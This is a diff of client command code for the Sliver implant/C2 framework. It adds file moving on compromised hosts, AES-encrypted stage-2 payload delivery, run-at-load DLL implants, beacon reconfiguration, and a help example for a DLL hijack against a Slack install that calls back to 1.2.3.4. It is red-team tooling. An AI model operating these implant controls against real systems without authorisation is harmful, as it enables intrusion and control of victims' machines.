+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	src := ctx.Args.String("src")
+	if src == "" {
+		con.PrintErrorf("Missing parameter: src\n")
+		return
+	}
+
+	dst := ctx.Args.String("dst")
+	if dst == "" {
+		con.PrintErrorf("Missing parameter: dst\n")
+		return
+	}
+
+	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Src:     src,
+		Dst:     dst,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	mv.Src, mv.Dst = src, dst
+
+	if mv.Response != nil && mv.Response.Async {
+		con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mv)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+		})
+		con.PrintAsyncResponse(mv.Response)
+	} else {
+		PrintMv(mv, con)
+	}
+	return
+}
+
+// PrintMv - Print the renamed file
+func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
+	if mv.Response != nil && mv.Response.Err != "" {
+		con.PrintErrorf("%s\n", mv.Response.Err)
+		return
+	}
+	con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
+}

client/command/filesystem/upload.go

@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dst := remotePath
 
 	fileBuf, err := ioutil.ReadFile(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
 
 	ctrl := make(chan bool)

client/command/generate/generate-stager.go

@@ -5,8 +5,6 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
-	"os"
-	"path/filepath"
 	"regexp"
 	"strings"
 
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
-			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
+
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)

client/command/generate/generate.go

@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	isShellcode := false
 
 	format := ctx.Flags.String("format")
+	runAtLoad := false
 	var configFormat clientpb.OutputFormat
 	switch format {
 	case "exe":
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	case "shared":
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
+		runAtLoad = ctx.Flags.Bool("run-at-load")
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
+
+		RunAtLoad: runAtLoad,
 	}
 
 	return config
@@ -394,6 +398,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "mtls" {
+			return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
 		}
@@ -415,17 +422,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
 		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "mtls://") {
+		if strings.HasPrefix(arg, "wg://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
 			}
 		} else {
-			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
 			if err != nil {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "wg" {
+			return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
 		}
@@ -458,6 +468,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "http" && uri.Scheme != "https" {
+			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -487,6 +500,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "dns" {
+			return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -503,6 +519,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
+		arg = strings.ReplaceAll(arg, "\\", "/")
+		arg = strings.TrimPrefix(arg, "/")
+		arg = strings.TrimPrefix(arg, "/")
 		var uri *url.URL
 		var err error
 		if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +535,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "namedpipe" {
+			return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
+		}
+
+		if !strings.HasPrefix(uri.Path, "/pipe/") {
+			prompt := &survey.Confirm{
+				Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
+			}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
+			}
+		}
+
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -548,6 +582,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "tcppivot" {
+			return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
 		}

client/command/help/help.go

@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
 			con.Println()
 		}
 	}
+
+	con.Println()
+	con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
+	con.Println()
 }
 
 func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadMacrosHelp,
+		consts.AliasesStr:          loadAliasHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+	loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
 [[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
 Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
 For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +657,8 @@ supplied with the --profile flag.
 # Use a local DLL for a hijack
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
-# Use a Sliver generated DLL for the hijack
-profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a local DLL as the reference DLL

client/command/info/info.go

@@ -19,10 +19,14 @@ package info
 */
 
 import (
+	"context"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
+
+	var isWin bool
+	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
+		if session.GetOS() == "windows" {
+			isWin = true
+		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
+		if beacon.GetOS() == "windows" {
+			isWin = true
+		}
+	}
+
+	if isWin {
+		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if cto.Response != nil && cto.Response.Async {
+			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, cto)
+				if err != nil {
+					con.PrintErrorf("Failed to decode response %s\n", err)
+					return
+				}
+				PrintTokenOwner(cto, con)
+			})
+			con.PrintAsyncResponse(cto.Response)
+		} else {
+			PrintTokenOwner(cto, con)
+		}
 	}
 }
+
+func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
+	if cto.Response != nil && cto.Response.Err != "" {
+		con.PrintErrorf("%s\n", cto.Response.Err)
+		return
+	}
+	con.PrintInfof("Current Token ID: %s", cto.Output)
+}

client/command/jobs/stage.go

@@ -26,6 +26,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -33,6 +34,8 @@ import (
 func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profileName := ctx.Flags.String("profile")
 	listenerURL := ctx.Flags.String("url")
+	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
+	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}
+
+	aesEncrypt := false
+	if aesEncryptKey != "" {
+		// check if aes encryption key is correct length
+		if len(aesEncryptKey)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES Key\n")
+			return
+		}
+
+		// set default aes iv
+		if aesEncryptIv == "" {
+			aesEncryptIv = "0000000000000000"
+		}
+
+		// check if aes iv is correct length
+		if len(aesEncryptIv)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES IV\n")
+			return
+		}
+
+		aesEncrypt = true
+	}
+
 	stage2, err := generate.GetSliverBinary(profile, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
+	if aesEncrypt {
+		stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
+	}
+
 	switch stagingURL.Scheme {
 	case "http":
 		ctrl := make(chan bool)
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
 		return
 	}
+
+	if aesEncrypt {
+		con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
+		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
+	}
 }

client/command/kill/kill.go

@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )
 
@@ -41,12 +42,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		err := KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+		con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 		con.ActiveTarget.Background()
 		return
 	} else if beacon != nil {
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		err := KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	return
 }
 
-func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if session == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			SessionID: session.ID,
+			Timeout:   int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
+	core.Sessions.Remove(session.ID)
 	return err
 }
 
-func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if beacon == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			BeaconID: beacon.ID,
+			Timeout:  int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
 	return err
 

client/command/prelude-operator/connect.go

@@ -23,6 +23,7 @@ import (
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 )
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		AESKey:      aesKey,
 	}
 
-	sessionMapper := prelude.InitSessionMapper(config)
+	implantMapper := prelude.InitImplantMapper(config)
 
 	con.PrintInfof("Connected to Operator at %s\n", url)
 	if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				err = sessionMapper.AddSession(session)
+				if !session.IsDead {
+					err = implantMapper.AddImplant(session, nil)
+					if err != nil {
+						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+					}
+				}
+			}
+			con.PrintInfof("Done !\n")
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Could not get beacon list: %s", err)
+			return
+		}
+		if len(beacons.Beacons) > 0 {
+			con.PrintInfof("Adding existing beacons ...\n")
+			for _, beacon := range beacons.Beacons {
+				err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
 				if err != nil {
-					con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
+					con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
 				}
 			}
 			con.PrintInfof("Done !\n")

client/command/prelude-operator/operator.go

@@ -25,8 +25,8 @@ import (
 )
 
 func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.SessionMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
+	if prelude.ImplantMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
 		return
 	}
 	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")

client/command/processes/terminate.go

@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Pid:     int32(pid),
 		Force:   ctx.Flags.Bool("force"),
 	})
+	if err != nil {
+		con.PrintErrorf("Terminate failed: %s", err)
+		return
+	}
 
 	if terminated.Response != nil && terminated.Response.Async {
 		con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {

client/command/reconfig/README.md

@@ -0,0 +1,4 @@
+Reconfig
+=========
+
+Commands used to reconfigure beacon/session times and metadata

client/command/reconfig/reconfig.go

@@ -0,0 +1,96 @@
+package reconfig
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ReconfigCmd - Reconfigure metadata about a sessions
+func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	var err error
+	var reconnectInterval time.Duration
+	if ctx.Flags.String("reconnect-interval") != "" {
+		reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
+		if err != nil {
+			con.PrintErrorf("Invalid reconnect interval: %s\n", err)
+			return
+		}
+	}
+
+	var beaconInterval time.Duration
+	var beaconJitter time.Duration
+	if beacon != nil {
+		if ctx.Flags.String("beacon-interval") != "" {
+			beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon interval: %s\n", err)
+				return
+			}
+		}
+		if ctx.Flags.String("beacon-jitter") != "" {
+			beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon jitter: %s\n", err)
+				return
+			}
+			if beaconInterval == 0 && beaconJitter != 0 {
+				con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
+			}
+		}
+	}
+
+	reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
+		ReconnectInterval: int64(reconnectInterval),
+		BeaconInterval:    int64(beaconInterval),
+		BeaconJitter:      int64(beaconJitter),
+		Request:           con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if reconfig.Response != nil && reconfig.Response.Async {
+		con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, reconfig)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			con.PrintInfof("Reconfigured beacon\n")
+		})
+		con.PrintAsyncResponse(reconfig.Response)
+	} else {
+		con.PrintInfof("Reconfiguration complete\n")
+	}
+}

client/command/reconfig/rename.go

@@ -1,8 +1,8 @@
-package sessions
+package reconfig
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,18 +21,16 @@ package sessions
 import (
 	"context"
 	"regexp"
-	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-
 	"github.com/desertbit/grumble"
 )
 
-// SessionsReconfigCmd - Reconfigure metadata about a sessions
-func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+// RecnameCmd - Reconfigure metadata about a sessions
+func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		}
 	}
 
-	// Option to change the reconnect interval
-	reconnect := ctx.Flags.Int("reconnect")
-
-	// Option to change the reconnect interval
-	poll := ctx.Flags.Int("poll")
-
-	oldSession := con.ActiveTarget.GetSession()
-	session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-		SessionID:         oldSession.ID,
-		Name:              name,
-		ReconnectInterval: int64(reconnect) * int64(time.Second),
-		PollInterval:      int64(poll) * int64(time.Second),
+	var beaconID string
+	var sessionID string
+	if beacon != nil {
+		beaconID = beacon.ID
+	} else if session != nil {
+		sessionID = session.ID
+	}
+	_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
+		SessionID: sessionID,
+		BeaconID:  beaconID,
+		Name:      name,
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	con.ActiveTarget.Set(session, nil)
+	con.PrintInfof("Renamed implant to %s\n", name)
+	con.ActiveTarget.Set(nil, nil)
 }

client/command/sessions/helpers.go

@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
 	for _, session := range sessions.Sessions {
 		keys = append(keys, session.ID)
 	}
-	sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+	sort.Strings(keys)
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)

client/command/sessions/interactive.go

@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}
 			c2s = append(c2s, wgC2...)
+		case "https":
+			fallthrough
 		case "http":
 			httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
 			if err != nil {

client/command/sessions/prune.go

@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
 			con.Printf("Pruning session %s ... ", session.ID)
-			err = kill.KillSession(session, true, con)
+			err = kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.Printf("failed!\n")
 				con.PrintErrorf("%s\n", err)

client/command/sessions/sessions.go

@@ -31,6 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
 )
 
 // SessionsCmd - Display/interact with sessions
@@ -50,12 +51,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if killAll {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
-			err := kill.KillSession(session, true, con)
+			err := kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 			}
 			con.Println()
-			con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+			con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 		}
 		return
 	}
@@ -64,12 +65,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
-				err := kill.KillSession(session, true, con)
+				err := kill.KillSession(session, ctx, con)
 				if err != nil {
 					con.PrintErrorf("%s\n", err)
 				}
 				con.Println()
-				con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+				con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 			}
 		}
 		return
@@ -80,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
 		}
-		err := kill.KillSession(session, true, con)
+		err := kill.KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 		}
@@ -110,19 +111,38 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PrintSessions - Print the current sessions
 func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Name",
-		"Transport",
-		"Remote Address",
-		"Hostname",
-		"Username",
-		"Operating System",
-		"Last Check-in",
-		"Health",
-	})
+
+	if con.Settings.SmallTermWidth < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Health",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Health",
+		})
+	}
+
 	tw.SortBy([]table.SortBy{
 		{Name: "ID", Mode: table.Asc},
 	})
@@ -142,17 +162,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		if session.Burned {
 			burned = "🔥"
 		}
-		tw.AppendRow(table.Row{
-			fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Name),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
-			fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Username),
-			fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-			fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
-			burned + SessionHealth,
-		})
+		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
+
+		if con.Settings.SmallTermWidth < width {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				burned + SessionHealth,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				burned + SessionHealth,
+			})
+		}
 	}
 
 	con.Printf("%s\n", tw.Render())

client/command/settings/settings.go

@@ -19,6 +19,8 @@ package settings
 */
 
 import (
+	"strconv"
+
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
 	tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
 	tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
